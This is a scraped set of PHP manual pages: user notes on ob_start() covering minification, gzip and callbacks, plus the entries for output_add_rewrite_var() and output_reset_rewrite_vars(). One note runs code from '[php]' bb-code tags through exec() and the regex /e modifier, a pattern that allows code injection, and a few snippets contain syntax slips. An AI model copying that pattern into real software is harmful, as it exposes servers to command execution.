I am at a loss to why no error message appears and am trying to get a working example for the developers that is simpler than my whole program!

So if you are using ob_start() and you get no output, check your objects.... you have made a mistake on them somewhere. The only trouble is you will not know where as there is no error!!
Asher Haig (ahaig at ridiculouspower dot com) 20-Aug-2007 01:17
When a script ends, all buffered output is flushed (this is not a bug: http://bugs.php.net/bug.php?id=42334&thanks=4). What happens when the script throws an error (and thus ends) in the middle of an output buffer? The script spits out everything in the buffer before printing the error!

Here is the simplest solution I have been able to find. Put it at the beginning of the error handling function to clear all buffered data and print only the error:

$handlers = ob_list_handlers();
while ( ! empty($handlers) )    {
    ob_end_clean();
    $handlers = ob_list_handlers();
}
clement dot ayme at st dot com 27-Jul-2007 09:51
ob_start() seems not compliant with command-line PHP.

just calling the function ahead of your unix-php script and nothing
happens. The STDOUT stream is not buffered.
tracey AT archive DOT org 29-Mar-2007 01:01
Way to make all stdout and stderr write to a log
from *inside* a php script.
You simply need to make sure to call elog() every
once in awhile to get output.
It's a nice way to "daemonize" a script w.r.t. its logging.

// This allows us to capture all stdout and stderr (and error_log() calls)
// to this logfile...
// The "collected output" will be flushed anytime "elog()" is used...
ini_set("error_log", "/var/log/script.log");
ob_start();

function elog($str)
{
  // get anything written to stdout or stderr that did *NOT* use elog()
  // and write it now...
  $writeme = ob_get_contents();
  if ($writeme)
  {
    error_log($writeme);
    ob_end_clean();
    ob_start();
  }
  // now write message this method was called with
  error_log($str);
}
joebezucha at tlen dot pl 16-Mar-2007 02:05
Hi, I use those functions for stripping unnecessary chars in my output code...because I have JavaScript placed in outpout code so I don't remove \n\r\t but just replace them with single space (it could cause errors in scripts)
Function stripBufferSkipTextareaTags skips tags Textarea. It's needed to don't loose \n\r when user edit some content...

sorry for my english ;)

<?php

function stripBufferSkipTextareaTags($buffer){
    $poz_current = 0;
    $poz_end = strlen($buffer)-1;
    $result = "";

    while ($poz_current < $poz_end){
        $t_poz_start = stripos($buffer, "<textarea", $poz_current);
        if ($t_poz_start === false){
            $buffer_part_2strip = substr($buffer, $poz_current);
            $temp = stripBuffer($buffer_part_2strip);
            $result .= $temp;
            $poz_current = $poz_end;
        }
        else{
            $buffer_part_2strip = substr($buffer, $poz_current, $t_poz_start-$poz_current);
            $temp = stripBuffer($buffer_part_2strip);
            $result .= $temp;
            $t_poz_end = stripos($buffer, "</textarea>", $t_poz_start);
            $temp = substr($buffer, $t_poz_start, $t_poz_end-$t_poz_start);
            $result .= $temp;
            $poz_current = $t_poz_end;
        }
    }
    return $result;
}

function stripBuffer($buffer){
    // change new lines and tabs to single spaces
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t"), ' ', $buffer);
    // multispaces to single...
    $buffer = ereg_replace(" {2,}", ' ',$buffer);
    // remove single spaces between tags
    $buffer = str_replace("> <", "><", $buffer);
    // remove single spaces around &nbsp;
    $buffer = str_replace(" &nbsp;", "&nbsp;", $buffer);
    $buffer = str_replace("&nbsp; ", "&nbsp;", $buffer);
    return $buffer;
}

ob_start("stripBufferSkipTextareaTags");

?>
denis at SPAM_WELCOME dot i39 dot ru 13-Mar-2007 06:55
This function's behaviour  has been changed in php 5.2.0:

<?
global $AP;
$AP = new ap;
ob_start("ob_end");

function ob_end() {
        global $AP;
        $r = $AP->test();

        return $r;
}

class ap {
        function test() {
                return "debug";
        }
}
?>

In older versions it shows: "debug".
But latest php version causes error: PHP Fatal error: Call to a member function test() on a non-object.
And this is not a bug: http://bugs.php.net/bug.php?id=40104
Tobias Goldkamp 25-Dec-2006 03:02
I use this to strip unnecessary characters from HTML output:

<?php

function sanitize_output($buffer)
{
    $search = array(
        '/\>[^\S ]+/s', //strip whitespaces after tags, except space
        '/[^\S ]+\</s', //strip whitespaces before tags, except space
        '/(\s)+/s'  // shorten multiple whitespace sequences
        );
    $replace = array(
        '>',
        '<',
        '\\1'
        );
  $buffer = preg_replace($search, $replace, $buffer);
    return $buffer;
}

ob_start("sanitize_output");

?>
lucky760 at yahoo dot com 21-Nov-2006 09:20
Just for simplicity's sake (and because I had to rewrite it for use at http://www.VideoSift.com anyway), here's a very simplified, pre-PHP5 version. Just add one call to dump_css_cache() for each of your CSS files.

<?php

ob_start('ob_gzhandler');

header('Content-Type: text/css; charset: UTF-8');
header('Cache-Control: must-revalidate');

$expire_offset = 0; // set to a reaonable interval, say 3600 (1 hr)
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire_offset) . ' GMT');

function css_compress($buffer) {
  $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);// remove comments
  $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);// remove tabs, spaces, newlines, etc.
  $buffer = str_replace('{ ', '{', $buffer);// remove unnecessary spaces.
  $buffer = str_replace(' }', '}', $buffer);
  $buffer = str_replace('; ', ';', $buffer);
  $buffer = str_replace(', ', ',', $buffer);
  $buffer = str_replace(' {', '{', $buffer);
  $buffer = str_replace('} ', '}', $buffer);
  $buffer = str_replace(': ', ':', $buffer);
  $buffer = str_replace(' ,', ',', $buffer);
  $buffer = str_replace(' ;', ';', $buffer);
  return $buffer;
}

function dump_css_cache($filename) {
  $cwd = getcwd() . DIRECTORY_SEPARATOR;

  $stat = stat($filename);
  $current_cache = $cwd . '.' . $filename . '.' . $stat['size'] . '-' . $stat['mtime'] . '.cache';

  // the cache exists - just dump it
  if (is_file($current_cache)) {
    include($current_cache);
    return;
  }

  // remove any old, lingering caches for this file
  if ($dead_files = glob($cwd . '.' . $filename . '.*.cache', GLOB_NOESCAPE))
    foreach ($dead_files as $dead_file)
      unlink($dead_file);

  if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $contents) {
      $handle = fopen($filename, 'w');
      fwrite($handle, $contents);
      fclose($handle);
    }
  }

  $cache_contents = css_compress(file_get_contents($filename));
  file_put_contents($current_cache, $cache_contents);

  echo $cache_contents;
}

dump_css_cache('_general.css');

?>
lucky760 at yahoo dot com 21-Nov-2006 09:10
In extension to the compress() function posted below, here's a nifty little class that improves the idea a bit. Basically, running that compress() function for all your CSS for every single page load is clearly far less than optimal, especially since the styles will change only infrequently at the very worst.

With this class you can simply specify an array of your CSS file names and call dump_style(). The contents of each file are saved in compress()'d form in a cache file that is only recreated when the corresponding source CSS changes.

It's intended for PHP5, but will work identically if you just un-OOP everything and possibly define file_put_contents.

Enjoy!

<?php

$CSS_FILES = array(
  '_general.css'
);

$css_cache = new CSSCache($CSS_FILES);
$css_cache->dump_style();

//
// class CSSCache
//

class CSSCache {
  private $filenames = array();
  private $cwd;

  public function __construct($i_filename_arr) {
    if (!is_array($i_filename_arr))
      $i_filename_arr = array($i_filename_arr);

    $this->filenames = $i_filename_arr;
    $this->cwd = getcwd() . DIRECTORY_SEPARATOR;

    if ($this->style_changed())
      $expire = -72000;
    else
      $expire = 3200;

    header('Content-Type: text/css; charset: UTF-8');
    header('Cache-Control: must-revalidate');
    header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT');
  }

  public function dump_style() {
    ob_start('ob_gzhandler');

    foreach ($this->filenames as $filename)
      $this->dump_cache_contents($filename);

    ob_end_flush();
  }

    private function get_cache_name($filename, $wildcard = FALSE) {
    $stat = stat($filename);
    return $this->cwd . '.' . $filename . '.' .
      ($wildcard ? '*' : ($stat['size'] . '-' . $stat['mtime'])) . '.cache';
  }

  private function style_changed() {
    foreach ($this->filenames as $filename)
      if (!is_file($this->get_cache_name($filename)))
        return TRUE;
    return FALSE;
  }

  private function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);
    $buffer = str_replace('{ ', '{', $buffer);
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
  }

  private function dump_cache_contents($filename) {
    $current_cache = $this->get_cache_name($filename);

    // the cache exists - just dump it
    if (is_file($current_cache)) {
      include($current_cache);
      return;
    }

    // remove any old, lingering caches for this file
    if ($dead_files = glob($this->get_cache_name($filename, TRUE), GLOB_NOESCAPE))
      foreach ($dead_files as $dead_file)
        unlink($dead_file);

    $compressed = $this->compress(file_get_contents($filename));
    file_put_contents($current_cache, $compressed);

    echo $compressed;
  }
}

?>
10-Nov-2006 10:34
I'm sure some of you more brilliant minds could pare this down some more, but using the method found at fiftyfoureleven.com  for compressing, I got my 10090-byte stylesheet down to 3536 bytes and then again down to 2713 bytes, by stripping unecessary characters from the stylesheet. 2 ob_start calls and the CSS file is now 73% smaller. YMMV.

<?php
ob_start("ob_gzhandler");
ob_start("compress");
header("Content-type: text/css; charset: UTF-8");
header("Cache-Control: must-revalidate");
$off = 0; # Set to a reaonable value later, say 3600 (1 hr);
$exp = "Expires: " . gmdate("D, d M Y H:i:s", time() + $off) . " GMT";
header($exp);

function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer); // remove comments
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer); // remove tabs, spaces, newlines, etc.
    $buffer = str_replace('{ ', '{', $buffer); // remove unnecessary spaces.
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
}

require_once('screen.css');
require_once('layout.css');
require_once('custom.php');
require_once('titles.css');
require_once('bus.css');

?>
feedback at realitymedias dot com 07-Nov-2006 03:35
PHP Suggests: Some web servers (e.g. Apache) change the working directory of a script when calling the callback function. You can change it back by doing, for example, the following in the callback function: chdir(dirname($_SERVER['SCRIPT_FILENAME']))

The solution provided by PHP, does not function as intended when running PHP as a CGI (on CGI mode (CGI-BUILD (--enable-cgi) and/or CLI)).  In such a case, PHP is executed as a CGI-BIN and the web server daemon (e.g. Apache) sees SCRIPT_FILENAME as being the PHPCGI processor, and won't look deeper to find what file the PHPCGI processor is actually running/parsing; therefore the path returned by SCRIPT_FILENAME is wrong (most of the time, containing/ending with "cgi-system/php.cgi").

As SCRIPT_FILENAME is the safest way to proceed, but turns to be wrong in this exact situation; PATH_TRANSLATED is the next safe solution one would turn towards since it is populated with a different mechanism.

It would be correct to develop in the direction if the script filename itself is contained in the SCRIPT_FILENAME path value, then the SCRIPT_FILENAME content is reported correctly. If it is not, using PATH_TRANSLATED is the next logical choice we can use. The best reference in this case would be PHP_SELF as it is populated by PHP itself. Using SCRIPT_NAME as a reference would be an error as it is affected by the same problem (reports cgi-system and/or php.cgi as well).

The following is the revised code and should work on both the non-CGI and the CGI PHP processor types.

<?php
chdir(dirname((strstr($_SERVER["SCRIPT_FILENAME"], $_SERVER["PHP_SELF"])
? $_SERVER["SCRIPT_FILENAME"] : $_SERVER["PATH_TRANSLATED"])));
?>

Or the decomposed code as follows:

<?php
if (strstr($_SERVER["SCRIPT_FILENAME"], $_SERVER["PHP_SELF"])) {
$reference = $_SERVER["SCRIPT_FILENAME"];
} else {
    $reference = $_SERVER["PATH_TRANSLATED"];
}
chdir(dirname($reference);
?>

This has been tested on Apache 1 & 2, PHP 4 & 5 and IIS 5.1
butch at enterpol dot pl 02-Oct-2006 12:04
simple code to make phpsession $_GET nice for Valid XHTML 1.0 Transitional :)

function callback($buffer)
{
  $buffer = str_replace("&PHPSESSID", "&amp;PHPSESSID", $buffer);
  return $buffer;
}

ob_start("callback");

session_start();
net_navard at yahoo dot com 30-May-2006 07:09
Hello firends

ob_start() opens a buffer in which all output is stored. So every time you do an echo, the output of that is added to the buffer. When the script finishes running, or you call ob_flush(), that stored output is sent to the browser (and gzipped first if you use ob_gzhandler, which means it downloads faster).

The most common reason to use ob_start is as a way to collect data that would otherwise be sent to the browser.

These are two usages of ob_start():

1-Well, you have more control over the output. Trivial example: say you want to show the user an error message, but the script has already sent some HTML to the browser. It'll look ugly, with a half-rendered page and then an error message. Using the output buffering functions, you can simply delete the buffer and sebuffer and send only the error message, which means it looks all nice and neat buffer and send
2-The reason output buffering was invented was to create a seamless transfer, from: php engine -> apache -> operating system -> web user

If you make sure each of those use the same buffer size, the system will use less writes, use less system resources and be able to handle more traffic.

With Regards, Hossein
(capitals) THE maYoR ANd thOSe@gmail 31-Jan-2006 02:14
One of the notes below mentions that ob_end_flush() is called automatically at the end of the script if you called ob_start without an ob_end.

Because I couldn't find any other way to do it, I tried to use this fact to have some stuff run at the end of every script. It was a maintenance nightmare, so I'm putting a link here to the good way to do it, since it's nigh impossible to find with google.

http://php.net/register_shutdown_function
simon 24-Jan-2006 08:51
Found that variables in class instances we're not being set after the call to ob_start().
Call ob_start after the variables are set however and it works but that didn't seem to solve the goal of a self contained templating class.
The fix was to assign the class by reference with '&new'
Here is a simplified working example:
<?php
class Buffer {
var $template = ' - template set in class constructor';
function Buffer() {
    $this->startBuffer();
}
function startBuffer() {
    ob_start(array(&$this, 'doFlush'));
}
function doFlush($buffer) {
    /* simple string concat to show use of a
    template string and the buffer output */
    return $buffer . $this->template;
}
}
/* template does not get set:
$buffer1 = new Buffer();
$buffer1->template = ' - template set in instance';
echo 'some buffer content';
*/
/* this works as expected */
$buffer2 = &new Buffer();
$buffer2->template = ' - template set in instance';
echo 'some buffer content';
ernest at vogelsinger dot at 08-Jan-2006 09:57
When you rely on URL rewriting to pass the PHP session ID you should be careful with ob_get_contents(), as this might disable URL rewriting completely.

Example:
ob_start();
session_start();
echo '<a href=".">self link</a>';
$data = ob_get_contents();
ob_end_clean();
echo $data;

In the example above, URL rewriting will never occur. In fact, rewriting would occur if you ended the buffering envelope using ob_end_flush(). It seems to me that rewriting occurs in the very same buffering envelope where the session gets started, not at the final output stage.

If you need a scenario like the one above, using an "inner envelope" will help:

ob_start();
ob_start();   // add the inner buffering envelope
session_start();
echo '<a href=".">self link</a>';
ob_end_flush(); // closing the inner envelope will activate URL rewriting
$data = ob_get_contents();
ob_end_clean();
echo $data;

In case you're interested or believe like me that this is rather a design flaw instead of a feature, please visit bug #35933 (http://bugs.php.net/bug.php?id=35933) and comment on it.
cyrille.berliat[no spam]free.fr 16-Oct-2005 03:07
If you're trying to use ob_start() in some PHP5 classes (probably works on PHP4 classes), this is the good way :

<?

class HTMLPage
{
//----------------------------------------------------------------- PUBLIC

//----------------------------------------------------- Méthodes publiques

    public static function ConvertIntoSGML( $source )
    // Mode d'emploi :
    //convertit une string en une SGML valide
    //
    // Renvoie :
    //la chaine traitée
    //
    // Algorithme :
    //analyse char par char de la chaine. Si un caractère est de nombre ASCII > 127,
    //conversion en son code SGML.
    {
        $newString = '';

        for( $i = 0; $i < strlen( $source ) ; $i++ ) {
            $o = ord( $source{ $i } );

            $newString .= ( ( $o > 127 ) ? '&#'.$o.';': $source{ $i } );
        }

        return $newString;
    }

    public function FlushSite( $source )
    {
        return $this->ConvertIntoSGML ( $source );
    }

//-------------------------------------------- Constructeurs - destructeur
    function __construct()
    // Mode d'emploi (constructeur) :
    //initialise la buffurisation
    //
    // Contrat :
    //
    {
        ob_start( array (  & $this , 'FlushSite' ) );
    } //---- Fin du constructeur

//------------------------------------------------------ Méthodes Magiques

//------------------------------------------------------------------ PRIVE

}

// Example :

$webdesign = new HTMLPage ( );

echo 'Héllo world'; // Will produce the source 'h&#233;llo world'

?>

Without the & before $this, you'll loose your content because ob_start() will call the flushsite() function from a clone of the object and not the caller object himself.

Note : call_back function must be public because ob_start() is in an extern scope from your class :)

I hope this will help you!
php at bucksvsbytes dot com 15-Sep-2005 10:29
The following should be added: "If outbut buffering is still active when the script ends, PHP outputs it automatically. In effect, every script ends with ob_end_flush()."
admin at bobfrank dot org 28-Aug-2005 08:50
If you want to run code in the middle of a string that you made, but you want to wait the printing...
(so if you want to allow php in bb-code style, and you want to execute it in order, and print everything in order...)

phpRun($code) {
    ob_start();
    exec($code);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array( phpRun( stripslashes('$1') ) );
$str= preg_replace($match, $replace, $str);

echo $str;
kasper at johansen dot tdcadsl dot dk 28-Aug-2005 07:29
Another way to make your code harder to copy, is to remove all line-breaks and tabs you have in it.

You can use this function to remove those.

You can choose to place "ob_start();" at the start of your main PHP-file, and "ob_end_clean();" at the end of it.

This is not the best solution though. If you are running Apache you might want to do something like this to a ".htaccess"-file:

php_value auto_prepend_file "/home/www/load_before.php"
php_value auto_append_file "/home/www/load_after.php"

(you should replace those files with files that actually exists).

In the "load_before.php" you can place the "ob_start();", and in the "load_after.php" you can do something like this:

<?
    $html = strtr(ob_get_contents(), array("\t" => "", "\n" => "", "\r" => ""));
    ob_end_clean();

    echo $html;
?>

This will clean your HTML of all kind of linebreaks (both \n and \r) and tabulators (\t). This will save your users some bandwidth, but it will also make your HTML, JavaScripts and more very difficult to read or copy. That way, making it harder for people to steal your code if you do not want them to.

This isnt in the spirit of OpenSource, but anyway you should be aware that this is possible.

Be aware that if you use PHP-files, to simulate pictures, all linebreaks will also be remove, making them corrupt. A solution to this, could be to check the headers (Content-Type), and if isnt set, or it is "text/html", you can go ahead and remove the linebreaks and tabs.

At my site, with more than 50.000 pictures and about 60 people online, I couldnt see any difference in the loadtime.

But still be aware, that your output will not be sent, before the script is finished, which will make your page slower to load that way also, since it cannot send any output while loading, but will have to wait until the load is finished.
geoffrey at nevra dot net 09-Aug-2005 12:05
When using a callback with ob_start(), functions like ob_get_contents() don't make use of it, use ob_end_flush() instead.

nb: not tested with every ob_* functions, just ob_get_contents() and ob_end_flush()
05-Aug-2005 07:54
I usually create my pages in four parts - variable initialisation, import header (using the variables just declared to configure), main body (mostly non-PHP), import footer.  I wondered about making the main body examinable by another PHP script if the main page was included into it.  I found I could control output of the main body by ending the header with an unclosed function which finishes at the start of the footer, thus enclosing the main body.  Output buffering can then be used to read this into a variable.  As a demonstration of how this can be used to control the order of output look at this example:

<?php
$output = "";

// Callback to process buffered output
function capture($buffer)
    {
    $GLOBALS['output'] .= $buffer;
    return "C ";
    }

// Calls the printE() function with output capture
function captureE()
    {
    ob_start("capture");
    printE();
    ob_end_flush();
    }
?>

A
<?php
// Output 'E' (the main body in the example scenario)
function printE()
    { // (End header after this line) ?>
E
    <?php // (Start footer with this line)
    }
?>
B
<?php captureE(); ?>
D
<?php print $output; ?>
F
<?php printE(); ?>
G

The output is A B C D E F E G.

For the application I mentioned above there are two points to note:
 - The page when executed alone must output its main body but the inspection script should suppress this, perhaps by means of a variable set before the page is included and then checked for in the footer output lines.
 - Because the main body is now inside a function it has a different namespace, thus changes may be required to prevent code breaking (e.g. use of globals, handling of functions defined within the main body).
oersoep at gmail dot com 08-Jul-2005 05:46
These are handy. First one has been mentioned before.

ob_start( array( 'lib_class', 'parse_output' ) );
ob_start( array( $this, 'parse_output' ) );

Note: $this is NOT a reference. Anything the callback saves or logs disappears in the clone ob_start works with.
It does enable the callback to work with the attributes of $this, like $this->ar_tpl_value or whatever your style is.

The manual says:
"If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value."
This doesn't work with my 4.3.11. Might be the Zend optimizer though. Daren't turn it off to go see.
Aleksey 25-May-2005 12:08
This function dynamically changes title of HTML page:

  function change_title($new_title) {
    $output = ob_get_contents();
    ob_end_clean();

    $output = preg_replace("/<title>(.*?)<\/title>/", "<title>$new_title</title>", $output);
    echo $output;
  }

Example:
  ob_start();
  // ... some output
  change_title('NEW TITLE!');
jds1509 at NOSPAMrit dot edu 23-May-2005 07:06
This code demonstrates the affect of providing a value to the chunk_size parameter. A value of 1 or 0 will be ignored by php. Here's the Code:

<?

function callback($buffer)
{
    return "TRAPPED:".$buffer."<br/>";
}

ob_start("callback",2);

echo "long string, so callback";
echo "X";
echo " - no callback, less than 2 chars";

?>newlines,
but
no
callback
!<?

// PHP block

?>PHP block initiates callback.<?

echo "One more callback at EOF...";

?>

The code above outputs:

TRAPPED:long string, so callback
TRAPPED:X - no callback, less than 2 chars
TRAPPED:newlines, but no callback !
TRAPPED:PHP block initiates callback.
TRAPPED:One more callback at EOF...
TRAPPED:
rafa dot chacon at factorydea dot com 10-May-2005 02:10
If you're trying to include a php file inside a loop by require_once (in example, a dinamic email template) and change the value of some variables (in example, url to unsuscribe, different for each user), you should use

<?php

// ... some code

$usermail = array("email1", "email2", ...);

for($i = 0; $i < $MAX; $i++)
{
        $usermail_unsuscribe = $usermail[$i];
        ob_start();
        include("email_template.php");
        ob_clean();
}
?>

Otherwise $usermail_unsuscribe will get only "email1" value.
JM 08-May-2005 12:17
I don't claim to understand this--I would have expected the exact opposite--but it seems that
  ob_start() ... ob_end_flush()
can massively improve perfomance, by at least a factor of 10 (admittedly a small number of samples).

I tried this after discovering that I could move a large (100ms) bottleneck in one of my scripts into
   echo "<!-- about 40 characters of junk -->";
which clearly shouldn't have taken long to run.

My unfounded theory is that without buffering, the interaction between PHP4.3.4 and Apache is not optimized, whereas with buffering, PHP delivers the entire page at once, which Apache handles better.

I should add that this is under https.
Ray Paseur (Paseur ... ImagineDB.com) 01-Mar-2005 01:50
You can use PHP to generate a static HTML page.  Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand.  A "cron" job can execute the PHP script to create the HTML page.  For example:

<?php // CREATE index.html
   ob_start();
/* PERFORM COMLEX QUERY, ECHO RESULTS, ETC. */
   $page = ob_get_contents();
   ob_end_clean();
   $cwd = getcwd();
   $file = "$cwd" .'/'. "index.html";
   @chmod($file,0755);
   $fw = fopen($file, "w");
   fputs($fw,$page, strlen($page));
   fclose($fw);
   die();
?>
eddie 13-Feb-2005 08:09
I use this function for deleting not needed characters within the html code before sending the whole stuff to the browser.

function callback($buffer){
    $buffer = str_replace("\n", "", $buffer);
    $buffer = str_replace("\t", "", $buffer);
    $buffer = str_replace(chr(13), "", $buffer);
    $buffer = ereg_replace("<!\-\- [\/\ a-zA-Z]* \-\->", "", $buffer);
    return $buffer;
}

First str_replace will delete any newlines, second any tabs and the third any carriage return. Finally the regular expression will delete any html-comment which consists of /, space, a-z or A-Z.
Using this saves about 1kb on every pageload.
FB 02-Feb-2005 06:59
I've noticed a bug with MSIE for non cached contents if your page is less than 4096 octets : you have to refresh the page each time to view its content !

Here is the solution to prevent this stupid behaviour of MSIE : just insert this code at the top of your scripts :

function ob_callback($buffer)
{
    return $buffer . str_repeat(' ', max(0, 4097 - strlen($buffer)));
}

ob_start('ob_callback');
aaron at offtone.com 13-Nov-2004 05:19
My callback is stored in a function class, and using ob_start ('Class::callback') wasn't working. Not wanting to instantiate the class (no need, it's a function class) I tried this and it worked a charm:

ob_start (array (Class, 'callback'));

PHP 4.3.4
dev at kiwicore dot org 28-Oct-2004 01:49
I wanted to do things a very particular way with output buffering and shutdown functions; using register_shutdown_function instead of the built in callback feature of this function. However, one should note that this won't work, because the contents of the buffer are no longer in scope when PHP is calling the shutdown functions. This would have been easy to see EXCEPT that PHP graciously flushes any unsent buffers at the end of the script, or when calling exit. So:

<?php
    ob_start();
    echo 'hi';
    exit;
?>

Prints "hi". In a nutshell, if you want it to have a shutdown function that handles an output buffer, just specify it in ob_start() and let PHP automatically call it at the end of the script.
jkloss at hotmail dot com 17-Mar-2004 07:20
If ob_start does not seem to be working for you, note that with Apache 2 the flush() function causes PHP to send headers regardless of whether ob_start had been called before flush.

ob_start();
echo 'test';
flush();

will cause Apache 2 to send whatever headers may be stacked up - which means you can't use a header(location:xxx) after the flush.  To fix, remove the flush().  Spent several hours discovering this.  Apache 1.x didn't work this way.
mjr 10-Mar-2004 09:10
If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use <?php ob_start(array('template', 'indent')); ?>.
zeisss at web dot de 23-Nov-2003 09:03
Note that the current working directory changes in the callback procedure (Changed from htdocs\ to windows\system32\ on my system).

You have to use absolut paths if you want to open files on your local system.
ed.oohay (a) suamhcs_rodnan 21-Nov-2003 05:18
Output Buffering even works in nested scopes or might be applied in recursive structures... thought this might save someone a little time guessing and testing :)

<pre><?php

    ob_start();              // start output buffer 1
    echo "a";                // fill ob1

        ob_start();              // start output buffer 2
        echo "b";                // fill ob2
        $s1 = ob_get_contents(); // read ob2 ("b")
        ob_end_flush();          // flush ob2 to ob1

    echo "c";                // continue filling ob1
    $s2 = ob_get_contents(); // read ob1 ("a" . "b" . "c")
    ob_end_flush();          // flush ob1 to browser

    // echoes "b" followed by "abc", as supposed to:
    echo "<HR>$s1<HR>$s2<HR>";

?></pre>

... at least works on Apache 1.3.28

Nandor =)
venky_athome at yahoo dot com 17-Jan-2003 09:58
IE 55. sp2 and IE6 as on the date of adding this note have problems with content type gzip and caching http headers. The pages are never cached. I think this combination of http headers can also crash the browser.

see http://support.microsoft.com/default.aspx?scid=kb;en-us;321722
05-Dec-2002 12:02
If you're using Apache (1.3x or 2.0), you might consider adding automatic compression capability to your delivered pages.

I assume you all know how to build compression classes and use them in your programs, but none has yet to offer the speed and robustness of a binary-compiled module. Furthermore, such modules also log the "compressable" hit in the web log file, thus allowing your favorite web anaysing program to show you reports of bandwidth saved.

Having said that, you might consider the following two modules for Apache:

1) Apache 1.3x: use mod_gzip, available from:
http://sourceforge.net/projects/mod-gzip/

2) Apache 2.x: use mod_gz, see here:
http://www.mail-archive.com/dev@httpd.apache.org/msg00734.html

3) Apache 1.3x: you may also want to use mod_defalte, from:
ftp://ftp.lexa.ru/pub/apache-rus/contrib/

Hope it helps.
cliff at NOSPAMtravelguides dot com 07-Aug-2002 03:36
good article on output buffering on devshed:

http://www.devshed.com/c/a/PHP/Output-Buffering-With-PHP
ob_list_handlers
output_add_rewrite_var
Output Control Functions


Add URL rewriter values

ob_start
output_reset_rewrite_vars
Output Control Functions
PHP Manual

output_add_rewrite_var

(PHP 4 >= 4.3.0, PHP 5)

output_add_rewrite_var — Add URL rewriter values

Description

bool output_add_rewrite_var ( string $name , string $value )

This function adds another name/value pair to the URL rewrite mechanism. The name and value will be added to URLs (as GET parameter) and forms (as hidden input fields) the same way as the session ID when transparent URL rewriting is enabled with session.use_trans_sid. Please note that absolute URLs (http://example.com/..) aren't rewritten.

This function's behavior is controlled by the url_rewriter.tags php.ini parameter.

Note: Calling this function will implicitly start output buffering if it is not active already.

Parameters

name

The variable name.

value

The variable value.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 output_add_rewrite_var() example

<?php
output_add_rewrite_var('var', 'value');

// some links
echo '<a href="file.php">link</a>
<a href="http://example.com">link2</a>';

// a form
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';

print_r(ob_list_handlers());
?>

The above example will output:

<a href="file.php?var=value">link</a>
<a href="http://example.com">link2</a>

<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>

Array
(
    [0] => URL-Rewriter
)

See Also

  • output_reset_rewrite_vars() - Reset URL rewriter values
  • ob_flush() - Flush (send) the output buffer
  • ob_list_handlers() - List all output handlers in use

User Contributed Notes

Anonymous 20-Oct-2008 09:16
For a completely valid XHTML document you have to set the arg_separator, use this before you use output-add-rewrite-var:

<?php
ini_set('arg_separator.input', '&');
ini_set('arg_separator.output', '&');
?>
neo at nowhere dot com 26-Mar-2008 10:51
As a small side note, when there are values in the output_add_rewrite_var() function, these values are applied to all dynamic addresses (with in the limits posted above), including addresses that already have that variable set.

Example:

<?
output_add_rewrite_var("page", "admin");
echo '<a href="?a=signup&page=home">Signup</a>';
?>

The above will output the following:

<a href="?a=signup&page=home&page=admin">Signup</a>

However, this is easy to get around, using output buffering inside of output buffering. Because in my case, I couldn't remove the rewrite variable, as I have no idea if the next address would need it or not.
Niko 24-Feb-2008 01:58
This function also adds a parameter to <input type="image"> fields!

Example:
This code:

<?
output_add_rewrite_var ('var','value');
echo '<form action="" method="post">
        <input type="image" src="image.jpg" alt="go">
        </form>';
?>

will output something like this:

<form action="" method="post">
        <input type="hidden" name="var" value="value">
        <input type="image" src="image.jpg?var=value" alt="go">
        </form>
Bruce 06-Sep-2007 07:54
Just to clarify...

session.use_trans_sid does NOT need to be enabled in order for output_add_rewrite_var() to work.
ob_start
output_reset_rewrite_vars
Output Control Functions


Reset URL rewriter values

output_add_rewrite_var
Object overloading
Output Control Functions
PHP Manual

output_reset_rewrite_vars

(PHP 4 >= 4.3.0, PHP 5)

output_reset_rewrite_vars — Reset URL rewriter values

Description

bool output_reset_rewrite_vars ( void )

This function resets the URL rewriter and removes all rewrite variables previously set by the output_add_rewrite_var() function or the session mechanism (if session.use_trans_sid was set on session_start()).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 output_reset_rewrite_vars() example

<?php
session_start();
output_add_rewrite_var('var', 'value');

echo '<a href="file.php">link</a>';
ob_flush();

output_reset_rewrite_vars();
echo '<a href="file.php">link</a>';
?>

The above example will output:

<a href="file.php?PHPSESSID=xxx&var=value">link</a>
<a href="file.php">link</a>

See Also

  • output_add_rewrite_var() - Add URL rewriter values
  • ob_flush() - Flush (send) the output buffer
  • ob_list_handlers() - List all output handlers in use
  • session_start() - Initialize session data

User Contributed Notes

